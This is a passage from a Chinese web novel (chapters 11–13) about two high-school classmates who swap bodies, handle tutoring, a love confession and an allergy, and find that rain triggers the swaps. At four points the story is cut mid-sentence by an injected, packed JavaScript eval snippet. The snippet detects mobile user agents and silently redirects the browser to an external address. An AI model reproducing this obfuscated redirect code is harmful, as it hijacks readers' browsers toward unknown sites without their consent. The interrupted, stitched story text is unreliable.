姜言言关门,看两个人一前一后挨着的身影,心里腹诽。还说不是情侣,黏这么紧。妈妈不在家了就一块过来了,肯定是怕藏不住马脚吧。 而且。姜言言回想起小区里孩子对他说的话,哪里有人做家教是两个的呀。这个念头在姜言言小朋友心里已经根深蒂固了。 这轮补习依旧由阮西颜装腔作势,路洱暗地操纵进行全程。 “这幢楼一共有50层,15米。小江住9楼,他家的地板离地面有多少米?” 姜言言沉思:“每层楼都一样高吗?会不会第一层比第二层高那么三四十厘米?” 阮西颜:“……假设,那种情况忽略不计吧。” 姜言言计算着,半晌后叫起来:“路姐姐,我算的怎么跟答案不一样?” “你想想,是不是如果从地板算起,他家就不算一层楼?” “哦。”姜言言握住笔,一会儿之后,“路姐姐,还是不一样。” “……”路洱幽幽地开口说,“你们看要不一下,到底是50层楼还是15层楼。” “……哈哈,看错了。” 表演也会乏的。阮西颜正心累着,叹声气,旁边的姜言言就语不惊人死不休地在他脑门上来了一锥子:“路姐姐,你今天看起来很开心。” 姜言言认真解释:“路姐姐总是板着脸,看起来不开心的样子。今天就经常笑……所以感觉很开心。” 苦笑也算吗,阮西颜命苦地想,眼角接收到路洱一个余光的警告,连忙敛了表情。 结束时,姜言言送两人出门:“路姐姐,西颜哥哥,下次见。”最后一刻,他喊住阮西颜,对着他疑惑的面孔,姜言言细若蚊声地从门缝里挤出一句话:“放心吧。明天我妈妈也不在。” 阮西颜:“……?” 等电梯的空隙,路洱静静偎在墙边,顺口问了句:“你们说了什么?” “没什么。一些……玩笑。” 两个人盯着上升的数字,相顾无言,还是阮西颜首先打破了沉默:“为什么咱们还会变回来?” “不知道。有一次,不代表没有第二次。”老实说,她们中就没哪个人想得到还会有第二次。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180934|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮西颜沮丧极了:“不会是有什么互换的时间间隔吧?两到三天换一次,或者,别的什么规律?” 路洱头又犯疼了:“我也不知道。但可以试验看看。” 两个人都对这种情况感到无助。毕竟这场从头到尾都莫名其妙的灵魂互换,扰乱了阮西颜和路洱的正常生活。 — 雨过天晴,地上一边干一边潮,湿闪闪的碎水洼映出两名少年并肩的影子。 事到如此,路洱嘱咐道:“我就英语课要上,你明天十点起得来就行。” “我的你可能要辛苦一些。”阮西颜说,“我还有语文和数学课,上午八点就开始上课了。”路洱摇摇头。 “这个点了,我记得还要做饭吧?”阮西颜注意脚上穿的白鞋,小心地歪了歪步伐,不让鞋跟踩到积水里。 路洱低头盯见了这场景,她顿了一下:“嗯。现在家里没人,我先帮忙回去做。” 阮西颜叹声气:“这样也太麻烦了。还有那个补习,等他家里人回来了,我们真的不会被拆穿吗?” 他想说这个补习非做不可吗,瞥了瞥路洱的脸色,选择改一改说辞:“……你很缺钱吗?” “嗯,很缺。”出乎意料地,路洱回答得很快。 “……”阮西颜沉默一瞬,他想了想,试探性地问,“要不要你来给我补习?我给你出一样的价钱。我其实……也挺缺补习的。” 这不是钱的问题,路洱明白。她眼睛转向鞋尖,慢慢地说出了声:“我做家教挣的不止是生活费,我还……欠了别人不少钱。找家教的时候,姜阿姨帮了我很多,这次她也是优先考虑我的。没有什么理由辞退的话,对她们不好。” 剩下的那句,她说得很快,像是不给阮西颜回答的机会:“你的话,我会考虑一下的。” 阮西颜陷入安静。别人的事,他终归管不着。路洱不愿意的话,他也没办法。她也是这件坏事的受害者。 晚上,经历完一系列乱七八糟的麻烦事,包括但不限于两窍不通地被指导着做饭,去捡从阳台掉下去的衣服并重洗,窗户没关雨水淋了地板还得拖,阮西颜整个人拖着疲惫的身子回了房间。 现在他只感觉身子像用了个遍的海绵,随便一攥能掉出脏水来。阮西颜有点佩服他的这位班长了。 手机去哪了?他摸摸口袋,好像忘在客厅了。阮西颜回身去拿,就见门后挂着个方格大的记事薄。 小夹子拎着书页,阮西颜推门的时候,眸光微微凝住。他把上边的文字看得清楚。 6月12号 二婶给了两百块的生活费,充在饭卡 6月19号 生病了,买药花了二十,二叔买了喜欢的水果,十五元。猫粮额外一共三十四 6月28号 书费一共一千块,二叔给了三百块 6月29号 教辅书五十八元 …… 淡紫色的字迹没有往日作业本、笔记那样的整齐,相反,又快又潦草。皱一团的痕迹里,阮西颜看见猫粮那里被添几笔划掉,加上自费的标注。 阮西颜眼睛瞧着,忽然感觉就像被蛰了一下,他垂落视线。 看来,他的这位班长,的确很不容易。 阮西颜没有权利干涉,也没有偷窥她人隐私的癖好。去客厅拿手机,回了房间后,他都没有再看。 11. 第十一章 “你说,今天,该给娃娃穿这件,还是这件?” 阮棠举着两件花边小裙子在毛毛面前比划。两件小裙子样式一致,只有颜色不同。 大金毛摇着尾巴,落在空中的爪子像在专心分析主人的话,两秒后,点向靛蓝色的那个。 阮棠两只眼顿时闪成星星:“毛毛,真聪明!你怎么知道我今天也想给小樱穿这一件?” 路洱正立在不远处的玄关处换鞋,心想,难道不是因为靛蓝色的裙子放得离毛毛最近吗。 她只默默地想。如果每个人的心里话能用气泡框表达出来,那路洱脑袋上顶着的只能是三个标准的省略号。 阮棠发现了路洱,看她穿戴整齐要出门,又想到最近阮西颜几乎是把自己晾一边,有些不满:“堂哥,你今天也没有空嘛?” 路洱冷漠脸:“没有。” “你不跟我打蛋仔派对就算了。”阮棠嘴角撅得能提溜小油瓶,“你已经好久好久没和我一起演戏了!我演皇上,小婷演公主,毛毛演太子,小樱演郡主,都没人演奴才了。” 演戏……?路洱直觉这不是适合她的游戏,况且,演奴才的角色,听着就不像什么好词。 路洱面无波澜:“找别人和你演。堂哥我要补习。” 路洱出门了,阮棠摸着狗头盯着人的背影,自言自语似的说:“毛毛,你有没有觉得堂哥最近变得怪怪的。” 大金毛汪了两声,它显然很赞同阮棠的话。因为,毛毛转头望一眼电视柜,主人好久都没有带它出去玩了。 “嗯,你也觉得对吧?所以今天你扮演奴才,可以吧?” “汪汪!” 另一头的路洱,驾轻就熟地绕出阮西颜家的小区。她生物钟一向规律,八点上补习课不算难。 路洱到达时,里边稀散地坐着人。补习教室的位置不固定,她找了个中间的椅子坐。路洱坐下打算看会笔记,旁边忽然有个声音叫她。 路洱侧头,一个眼生的女孩站在旁边,对着路洱的视线便慌地避开,面色似含潮红。她后面的几个女生扎成堆,时不时望着这边,嘴里在窃笑什么。路洱察觉到什么。 果然,女孩羞赧地开了口:“那个,同学,可以给我你的联系方式吗?” 没料到还会有这回事。路洱心里的眉头揪动一下,她客气道:“不好意思。” 女孩坚持:“就是想和你聊聊学习的事情,别的也行。我没有别的意思。” 那你聊错人了。这句话路洱没有说,她态度没变:“不好意思。” “好吧,打扰了。”女孩失落地走掉了。身后那阵叽喳的动静也随之消寂了。 — 即便换了副身子,阮西颜依然掩不住从内而外散发的没精神气。他走进学校大门,长长打了个哈欠,陶仰年兴冲冲地从余光外钻进来了:“路洱,早上好啊。” 阮西颜还没回答,他便急着邀功似的拎出一袋早餐包:“你吃早餐了没?我特地……我剩的多余的早饭,没吃的,是我们昨天遇见的那家早餐铺的。” 这大傻个,要是知道这个路洱的真实状态叫做阮西颜,估计当场翻场。阮西颜睨他一眼,想了想路洱平日里的态度,有模有样地回复说:“吃过了,谢谢。” 两人一齐往教室走。陶仰年状似不经意地瞥着她:“我昨天给你发的微信……你没有看到吗?” “……什么东西?”阮西颜昨夜一沾床就睡了,没看手机。他进了教室环视一圈,看到路洱后就想都没想地坐了人后边,陶仰年紧随坐他一旁。 “就是、就是,呃。”陶仰年在桌角边缘探着身子还想说,看米娜老师踩铃声进来了,他支吾半天还是放弃了,“你看看微信吧。” 语数英无论哪节课都能让阮西颜听得乏出泪花。他困里偷偷翻了翻微信,还以为陶仰年说的什么玩意,昨晚他就发了几条询问路洱玩不玩游戏的事。 他刚敲上键盘,顶头忽地弹出来一条。 【慢毛毛】:今天早上 阮西颜愣了愣,戳进去。那头等好十秒没有下一条,阮西颜抬头,看到自己微微拘低的背影,肩膀线条无端地挺直了一点。 【慢毛毛】:有个女生要你联系方式,我没有给 他当是什么事呢。阮西颜回复。 【11】:没事,认识吗? 【慢毛毛】:我不认识 【11】:那也没事,以后遇到的话你怎么处理都行 路洱没有再回消息了。阮西颜再抬眼睛,看她恢复成了以往认真听课的姿态。阮西颜想着也收起手机,屏幕里蓦地又跳出来一条,是陶仰年发的。 【陶渊年】:我以为你上课都不会碰手机的啊 【陶渊年】:听阮西颜说,你成绩很好,我想着你们学霸上课应该都不玩手机的吧? 阮西颜打了两个利落的字过去:“不是。”因为他是阮西颜。 得到回复,陶仰年应该更高兴了,连环炮般轰炸了一连串消息过来。若不是着手机设置了静音,上课不被抓包才怪了呢。 【陶渊年】:你还没告诉我我昨晚的问题 【陶渊年】:你有没有喜欢的游戏?LOL?蛋仔?荣耀?光遇?这些我都会玩,我可以带你玩 【陶渊年】:带阮西颜一起玩也行 【陶渊年】:你家住哪里啊?我家就住十一中附近,我偶尔会去三中找阮西颜玩,有时候应该能碰上你。对了,现在暑假也可以出去玩,大家几个周末有空的话可以约出来一块…… 字多得眼花。这小子什么心思阮西颜心知肚明。他挑了其中的一条回道“不玩游戏”,接着就锁了手机。 — 铃声一响,周遭人一窝蜂涌出教室。阮西颜出了教室门,脑子里原本想着中午该吃什么,转念一动,回忆起昨日路洱发传单的场景。 既然都变成她了,还是顺便替人把活做了吧。阮西颜当即朝街的方向过去。 “阮西颜。”路洱从后边追上来了,“你要去哪里?” 阮西颜不知道怎么地不太敢直视她的眼睛,视线微躲:“嗯,我记得你不是接了个传单的活吗?我就想先帮你发了传单,再回家吃饭。” “……”路洱语气带着几分复杂,“这种特殊的情况,你可以不用做的。”她麻烦阮西颜太多事了。 “没关系。我变成了你,你变成了我,互相扮演好彼此,没什么影响的。”阮西颜的眼睛笑起来,尾弧像春雪里萌发的小嫩芽。他和路洱实在太不一样了,用着路洱的脸,笑时却显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180935|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种根本不属于路洱的天真与朝气。 路洱拗不过,就说:“那我跟你一起。”她不好意思让阮西颜一个人做她的事。 两人刚要一块过去,远处有声音叫住了他们,转头看,姜阿姨拉着姜言言的手走了过来。 “小洱?好巧啊。在这里碰到你。”姜阿姨挥手,姜言言也挥手跟两人打招呼,“路姐姐,西颜哥哥。” “阿姨好。” 姜阿姨仔细看了看旁边的阮西颜,惊喜道:“这个男生就是你的朋友吧?多谢你们两个了,一起帮我家言言补习。” 姜阿姨紧接着就歉意地说:“这个,小洱啊,因为阿姨工作的原因,得去国外一段时间。言言外婆身体刚好,被他舅接走了。我也不放心言言一个人留家里,带着他一起,算是去旅游了。所以……”姜阿姨欲言又止,路洱看懂了她的意思,“补习可能得停了。” 路洱安静着脸庞,没说话,阮西颜滞了半会方想起来自己现在是路洱的身份。他用眼角飞快地瞥了瞥路洱:“没关系姜阿姨,您让我补习……我已经很感激了。” “阿姨对不起你,这几天的工资就双倍给吧,算阿姨的歉礼了。” 阮西颜焦急地瞟路洱几眼,又转过目光,试图掩饰道:“不用了阿姨,这个……” 姜阿姨坚持要给,阮西颜再拒绝也犟不过她,看路洱点点头,才放心地跟着说:“好吧。那是从明天开始,就不用去了吗?” “大概就这周末,补习到周五就好,麻烦你了啊小洱,还有,这位小男生。” 送走姜阿姨两人,阮西颜和路洱去领传单地的路上。他观察着路洱的神情:“那啥,要不,等这次补习结束了,你来帮我补习?” 路洱知道他在想什么,摇了摇头:“这不关你的事,你不用放在心上。” 今天的传单发放得比昨日慢了一些,结束时,阮西颜望了望天气,右边手掌遮住这刺眼的光线:“你下午还有课,快点去吃饭吧。吃什么都行,我钱包里的随便用……不超额就行。”他心里也清楚路洱不会是那种人。 路洱点头说好。沿着商街走了会,阮西颜猛地记上什么事:“噢对了,我差点忘了,这周五我妈大概就回来了。不知道那个时候我们会不会换回来……只要能不穿帮。” 路洱迟疑了:“……怎么样才能不穿帮?” 这是个好问题。阮西颜大致思考一阵,无所谓道:“不要那么冷淡就好,我妈她很好应付的。具体的……”路过服装店,橱窗照出两人的身影,阮西颜停了下来,“你多笑笑,应该差不多。” 他对着玻璃,慢慢地演示说:“嘴角弯一点,看起来有笑着的模样。嗯,笑得自然点,就好了。” 路洱下意识陪着做了,她稍稍抿了齿关,把唇边像机械拎动那样,而非自然地翘起来。 阮西颜盯着腮骨里那个漩涡似的小酒窝,侧过头来:“你看,我们还有一个对称的酒窝呢。” 措不及防地,阮西颜伸出了手,指尖轻轻落在了路洱左脸的酒窝。只是蜻蜓点水的功夫,他又收起了手。 “你笑起来其实挺好看的。”阮西颜看着她笑道,“我听说多笑笑,运气会比较好。” 路洱当时想,似乎没有人比阮西颜更适合笑。 12. 第十二章 阮西颜想,既然家教剩不了多久,那还是好好弄完了吧。他也没想到随便说的会一语成谶。 今天从姜言言家里出来,两人就一致地朝着路洱家去。 快习惯这样的生活了。像在两副身子里寄居,睁眼是不一样的生活。阮西颜想,这算不算变相地体验女生的自己。 不对,不算。他眼睛盯着路洱,这个女孩,并不像他。那是她自己,拥有着与他截然相反的性子。 路洱忽然转了头,扫他一眼:“你在看什么?” “没什么。”阮西颜忙缴械投降,这个觉察力,压根不是他能比的,“我就是在想……我们一直这样子煮饭,被你家里人发现了怎么办。” 阮西颜怀疑他有预言能力,但从来没用对地方。 就在做过饭,阮西颜送路洱到门口时,正面迎上了崔凤和路国烊。 脑内某一根神经顿时收紧了。路国烊诧异地打量了下路洱:“小洱,你朋友啊?” 阮西颜心虚地点头,路洱表现得不动声色:“阿姨叔叔好。” 崔凤和路国烊最终没说什么,崔凤客套一句:“难得有朋友来家里玩,留下来吃个饭吧。” “不用了,谢谢阿姨。”路洱先让步下楼,阮西颜跟在路洱身后,解释说,“我送他出去。” 阮西颜把路洱送到小区口才回去。路洱临走前回头又望了下,只瞧见阮西颜匆忙跑上楼的场景。她突然生出一点对不起阮西颜的感觉,他这种养尊处优的少爷,穿在她身上,算得上倒霉。 阮西颜进屋,洗手开始吃饭。桌子上像往常罩着股沉默,今天不知为何多了一丝说不清道不明的味道。 阮西颜没放心上,却见路国烊瞄着崔凤的脸色,再三考虑过似的开口说:“小洱,那男生是你的同班同学吗?脸挺生的,以前好像没见你带回来过。” 阮西颜一口米饭堵在了喉里,低头呛几声。他好像知道这么怪异的气氛是怎么个事了:“是同班同学。”合着怀疑路洱在和他谈恋爱是吧。 崔凤插嘴:“你们很熟吗?” “噢,这样啊。”路国烊换上语重心长的口吻,“我和你婶婶也没别的意思,你现在高三阶段,还是学习为重。普通学校的学费你不知道那个贵嘞……” 阮西颜心底哭笑不得:“叔叔婶婶,那个同学就是落了东西在我这,我帮忙还给他而已。” “嗯,叔叔也很放心你,你这孩子性格虽然内向了点,但平日里还是很乖啊……” 阮西颜盯着眼前的饭菜,突然就没了什么胃口。他快速扒上几筷米饭,低头含糊道:“嗯。” — 路洱晚上没别的事就会早睡,洗过澡刚要躺下,手机屏幕亮了,伴随着两三声微信消息提醒。 她拿过手机看,是一个备注叫盛皎的人,名字头像都显然像个女孩。 【皎皎者】:阮西颜,你真不来? 【皎皎者】:你跟我多久没见面了,你不会是故意不来见我吧「发火」 【皎皎者】:别装死,我看见你发朋友圈了,闻非都答应来了,你不来冲浪? 路洱蹙起额角,正思考着要不要等阮西颜明天补课自己回复的时候,阮西颜就给她发了条微信。 【11】:「图片」 【11】:这小子给你发了好多消息,你看一下,怎么回复他,我担心他看出纰漏 【11】:你说我们应不应该把手机换过来 【11】:好像也不行,万一打电话过来不就完了 路洱略过消息径直点开最上面那条,阮西颜说的那个人是陶仰年。 【陶渊年】:路洱,你喜不喜欢喝奶茶啊,我明天顺路碰上给你带。我家路边有个挺好喝的奶茶店,我觉得蛮好喝的,你应该会喜欢。我身边的女孩子都说喜欢 【陶渊年】:你是不是只上英语课啊?对了,岂不是你语文数学都很好,能不能教教我「小狗期待」 …… 剩下的也是诸如此类的一些话。盯着占据了整面聊天框的白色消息条,路洱眉头愈发地皱。 她记得她和这个男生认识不久吧?他为什么要给她发这么多消息。 这边的路洱在不解,那边的阮西颜看着陶仰年哐哐一阵捣鼓的消息,默默道,真没有分寸感。 哪有追女孩这样追的,无时无刻来堆消息轰炸,上个厕所吃顿饭洗个澡都要发一条。同样母胎solo十几年的阮西颜评价。他若不是路洱都想让陶仰年黑名单见了。 只片刻,路洱就给他回了消息。她比他预想得认真地解答了那些问题,前提是都拒绝也算不上不同的话。 没一会儿,她又发了条消息。 【慢毛毛】:「图片」 【慢毛毛】:你可能也需要回复一下这个 阮西颜边点图片边心里想截图互回真诡异啊。盛皎这位大小姐,真是不达目的不罢休。 阮西颜眼皮垂下,摁语音懒懒道:“你直接拒绝她就行,她已经催我太多次了。我真没空去,你就拿补习那个理由拒绝她。” 路洱答好,几分钟之后回消息说:“她说你不来,她就回去找你。” “让她来,她想来想不来,没人阻止得了。” 阮西颜语音发过去,陶仰年的消息又弹出来了。大概是吐槽显灵了,陶仰年这次竟直接袒白了他那就差写在脸上的心思。 【陶渊年】:路洱同学,其实我一见到你我就喜欢上你了。真的,我没有开玩笑。 他估摸着是急了,连着吐了几条语音过来。阮西颜挑挑眉,食指头点开长达五十来秒的语音。 【陶渊年】:本来不想那么快告诉你的,怕吓到你。但是哎呀,我这个性格就藏不住事,暗恋你变成明恋了。我没有说谎,骗你天打雷劈。因为我们没什么接触机会,我们不在一个学校,见面的机会也少……废话说了这么多,我想说,你、你愿不愿意给我一个追你的机会? 在语音里光听陶仰年的声音,阮西颜都能想到他现在急得抓耳挠腮的模样。 路洱对陶仰年的态度他一直有目共睹。头一次这么清楚地观察到朋友的告白失败场面,阮西颜不知作何感想。他顺手回了条,等你数学考到一百再说。 阮西颜深知,让陶仰年数学上及格线,不如指望他LOL全角色冲榜一。 阮西颜没忘记跟路洱说这件事,路洱隔了几分钟说没事。 路洱按照阮西颜说的做,那头果然风平浪静了。这个名叫盛皎的女孩在他们之中里应该不一般,阮西颜有不少微信群,她依稀看见过,皎皎者的名字在群聊的最新消息中显示了好几次。 阮西颜的私事,由不得她来评判。路洱处理完这些事,手关了边上的灯,进入梦乡。 — 翌日的英语课。 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180936|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西颜手撑着腮,百无聊赖。他感受得到坐在旁边的陶仰年炙热的目光,像是要把他盯出个窟窿眼。 哎,早知道一点机会不给这家伙了。阮西颜叹气想,他微斜肩膀,避开陶仰年的眼睛,恰好地看见了右上方的路洱。 路洱低头在本子上簌簌落笔。她眼神静静跟随着台上的米娜老师,脊背像棵直立的小树。阮西颜难得见自己这副认真听课的模样,禁不住欣赏了一会儿。 要是他妈看见这一幕,指不定得多感动自家儿子还有不犯多动症的一天。 阮西颜盯着路洱开小差,教室里的声音却停了下来,紧接着又响起一道。 “来,就路洱跟陶仰年来吧。”米娜老师微笑说。 阮西颜茫然地站起了身。 “你们两个,上来念一下剧本台词吧。一个演小绿,一个演渡边。旁白我帮你们读。” 绝望的阮西颜和绝望的陶仰年上台了。 外是路洱的沉着壳子,内是小学生英文水平的阮西颜定了好几秒,努力装作轻松地念出声:“Hey,hey,saysomething。”好在这个单词不难读。 米娜老师演旁白:“Midorisaid,herfaceburiedinmychest。”她用眼神示意陶仰年接下去。 “Likethat。”陶仰年读得比他还战战兢兢。 幸运的是,这些英文台词除去极个别记不起来的单词,阮西颜都能给接下去。 两人不甚顺利地轮过一遍对话,阮西颜刚松口气,抬头就遇上米娜老师充满深意的目光,他顿时警铃大作。 米娜老师笑着说:“路洱,你从第十二句开始翻译一下吧。”米娜老师用意是好的,她想特别锻炼一下路洱。可惜,她用错人了。 因为这是阮西颜。 阮西颜一脸豁出去了的表情:“我很喜欢你,绿子。”“有多喜欢?”“像喜欢……喜欢春天的熊。” “‘春天的熊?’绿子再次抬起她的脸,‘春天的熊,那是什么?’” 映入眼帘的一大段密密麻麻的英文差点没把阮西颜眼睛看晕。他语速慢了下来,唇齿也变得磕绊:“在春日的某一天里,你一个人走着,一只小熊,一只可爱的小熊,不是,一只浑身是毛的可爱小熊……” 底下的同学们各干各的事,眼不闻耳不开。 剩下的,阮西颜怎么榨脑汁都编不出来了。他刚要坦白,就听见自己的声音响了起来:“老师,我来。” 不少脑袋被吸引了,纷纷朝声音源头投去视线,阮西颜愣了一下。路洱会自告奋勇,令米娜老师的眉梢儿都掀得颇高。 她同意了:“行,阮西颜,你来。” “春天的原野里,你一个人正走着,对面走来一只可爱的小熊,浑身的毛活像天鹅绒,眼睛圆鼓鼓的。它这么对你说道:‘你好,小姐,和我一块儿打滚玩好么?’接着,你就和小熊抱在一起,顺着长满三叶草的山坡咕噜咕噜滚下去,整整玩了一天。你说棒不棒?” “太棒了。” “我就这么喜欢你。” …… 男生的声线很清润,那种感觉像春雨打在耳朵沿儿,有一种敲冰戛玉的清晰感。 像是被惊的,阮西颜不自觉地用手指头捻了捻耳垂。一个没来由的念头跳入脑海。 他想,女孩子的耳朵都是这么软吗。 13. 第十三章 因着路洱的紧急救驾,米娜老师把陶仰年和阮西颜放了下去。 课间休息,路洱整理了会笔记,想着拿自己本子原封不动照抄一份时,陶仰年又呲个大牙凑上来了:“不是你小子,又背着我苦练英语来救美是吧。”路洱注意到阮西颜也留了个余光看这里。 “临时上网搜的。”她淡淡说。 下午两人照常约在家教的路上。这场以阮西颜作引导介入,路洱作正题开始的补课不知道已经多少天了,阮西颜在旁托脸看着两人。 “等等西颜哥哥,我去上个厕所。”姜言言起身,顺嘴说,“路姐姐,你们两个饿了吗,桌子上有水果。那是妈妈特意为你们准备的,可以洗了吃。” 阮西颜欣然接受:“好啊,谢谢你和你妈妈了。” 袋子里的水果杂七杂八,不确定路洱喜欢吃什么,阮西颜把种类挑遍再洗干净。 他坐回椅子边,给路洱递了颗青提。路洱正看姜言言写提,看得专心没设防,下意识就着人手咬掉了那枚葡萄。等清甜感在口腔里泛滥开,她一愣,后知后觉阮西颜喂到了她嘴边。 阮西颜也才意识到他顺手就喂上了,这个姿势对于两人来说,未免太亲密,他尴尬地缩回了手,忙转开注意力:“言言,你吃不吃葡萄?” 姜言言早就把这一幕装进了眼底。还说不是情侣。他心里想,面上装模作样地摇了摇头。 路洱和姜言言讲题,没阮西颜的事儿。他听了会无聊,接着吃他的水果。 有拳头大的水蜜桃没啃到一半,阮西颜忽然觉得脖子奇痒。他抓了抓,却是像挠到痒穴似的,那股刺挠感越发地尖锐。阮西颜加大了动作,发现痒的似乎不止脖子了,还有脸,额头。 阮西颜纳闷着,旁边路洱猛地握住了他手腕,边端详他的脸边攒起了眉毛:“你过敏了。” 阮西颜还懵着脑子,路洱当机立断说:“我带你医院。”她扭头向姜言言对不起,“言言,今天补习可以先结束吗。回头我叫姜阿姨不用付今天的工钱了。” 姜言言捣蒜着点头:“没事的,西颜哥哥,路姐姐怎么啦?快带她去医院吧。” “没什么,过敏了,起红疹。” 姜言言送他们出门,担忧的目光从两人的背影上移向窗口外。乌云像枝头沉甸甸的桑葚,滴下来的汁水就变成了霖霖的雨水。 要下雨了。姜言言焦虑地想,路姐姐和西颜哥哥不会没带伞吧。 — “不好意思,我不知道你对桃子过敏。”阮西颜定睛,隐约从车窗倒影里看见了原本洁白的额头,凸出了一些扎眼的红色疹子。他不太敢摸脸了,脸上估计长得更多。 路洱:“没关系。桃子过敏的事,是我忘了告诉你。” 今天医院的人格外地多,男女老少排了长长一队。路洱和阮西颜坐在椅子上等着叫号。 脸上痒意茂盛,阮西颜实在受不了了才会偷偷挠一下。 等久了,他反而困意涌上来了。倦怠像瞌睡虫堆叠在眼皮子上方,阮西颜不知不觉睡着了。 她们待的地方离窗户近。阮西颜听见雨声撞在窗子上淅沥的声响,还有位大娘喃喃着说,这雨大得嘞,不下到夜里没完了,然后是关窗的窸窣动静。 阮西颜猛地张开眼睛。转了转头,就见路洱用着双乌黑的眼睛看他,淡淡道:“醒了?” 阮西颜眨巴眨巴眼,这才发觉到两人间又换回来了:“换回来了?” “嗯,几分钟前变回来的。”路洱侧头看了眼,前边还排着个小姑娘和她爸爸。 她的过敏情况是不一般严重。红疹子又疏又密地缀在一整张脸,对于密集恐惧症患者来说,实在是抵达恐怖的边缘了。 阮西颜越看越觉得羞愧:“不好意思,把你的脸弄成了这样。” 路洱依然一个态度:“没关系。” 医生喊他们进去了。年轻的医生哥哥开了盒过敏药,边写药方边说了句:“小妹妹,过敏的时候用手抓了吧。挠的力度还不小。”他抬头看了看,“你脖子,还有额头的位置,那里都破皮了。依我看,可能会留疤。” 路洱脸色像端着水似的,怎么搅都不起涟漪:“嗯,没事。” 阮西颜登时急了:“哎哎,什么叫没事啊。有事,肯定有事。哥哥,这能买什么药吗?” “你可以去药房买点褪疤膏,涂一涂,应该就没了。” 站在移动电梯上,路洱抬脸,望了眼他的背影忍不住说:“你不用帮我买这个的,我不在意留不留疤。” “你的疤也是我抓出来的,算我的,买这个也算我的钱。” 路洱到最后也没说别的。买完药膏,外面的雨还没停,天色也暗了下来。 “医生说这个得早点擦。”路洱刚才还买了份口罩,刘海下,只露出双在雨夜里被浸得湿漓漓的眼睛。阮西颜突发奇想,“你自己擦也不方便,我帮你吧?” 路洱睫毛蔫了般垂着:“不用。” 阮西颜出人意料地坚持:“我帮你。” 看他这么顽强,路洱终于正着目光看他一眼,有点无奈:“丑。我不想摘口罩。” “哪里丑了。”听见是这个理由,阮西颜笑起来,他卧蚕痕迹很重,在眼睛下嵌出一道弯弯的弧,“你是不知道我小时候被蜜蜂蛰了,长了一头包。还被我妈拍下来了,有机会给你看看。那才是真的丑。” 路洱还是摘下了口罩。阮西颜举着药膏在她脸上涂,兴许是太仔细,距离过近了都没意识到。 冰凉的一坨药膏触上她的脸,路洱似乎被吓到一般,睫毛微抖。像流萤扑朔,转眼无踪。 雨一直在下,阮西颜跟路洱都没带伞,最后阮西颜跑进超市临时买了把伞。 阮西颜出来时,路洱的手机响起,大概是崔凤来兴师问罪了。 阮西颜自知有错,主动替人拿了电话解释:“阿姨,路洱她不是故意不回家。我叫了她帮我补习,我妈妈留了她在家吃饭,她就忘了跟你们说。不好意思啊。” 听筒里突然传进来一个陌生的男声,崔凤怔了怔:“……哦,没事。记得早点回家就行。” 瞒过路洱家里人这一关,阮西颜总算长舒了口气。 话都这么说了,阮西颜想了想说:“我带你回家吃饭吗?或者我们去找家饭店,一起吃晚饭。” 路洱摇头,她脸色不太好看:“我不吃了,没什么胃口。” 阮西颜劝了几次都无果,只好打算先送她回家。 “我好像发现规律了。”路洱冷不丁出声,她盯着手机上的天气预报若有所思,“不过可能需要证实一下。” 阮西颜大喜过望:“真的啊?什么规律?” “就是……下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180937|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨的时候。”路洱给出她的解释,“我们换的这几次都是下雨天,前两次,也是下雨的时候换过来,等下一次雨天,就换回来。” “那等下一次雨天验证试试,下一次下雨……天气预报说是周六。”阮西颜觉得有道理。他撑开雨伞,路洱跟他共同乘在伞下。 路洱比他矮大半个头,他轻轻松松地将人拢入整个伞下。 — 脱离了这些,两人的聊天话题就渐渐稀薄了。看出阮西颜欲言又止的样子,路洱想到今天他忙前忙后的,难得掌了一次主动权说:“你在学校还挺出名的。” “我?我和陈想沈光浩他们都挺出名的。” 路洱的头摇了又摇:“他们没有你出名。” 阮西颜多了点好奇:“怎么个出名法?” “大概就……”路洱沉思,“她们都说你家捐了一栋楼,在学校可以横着走,校长遇见了你都得绕路。” 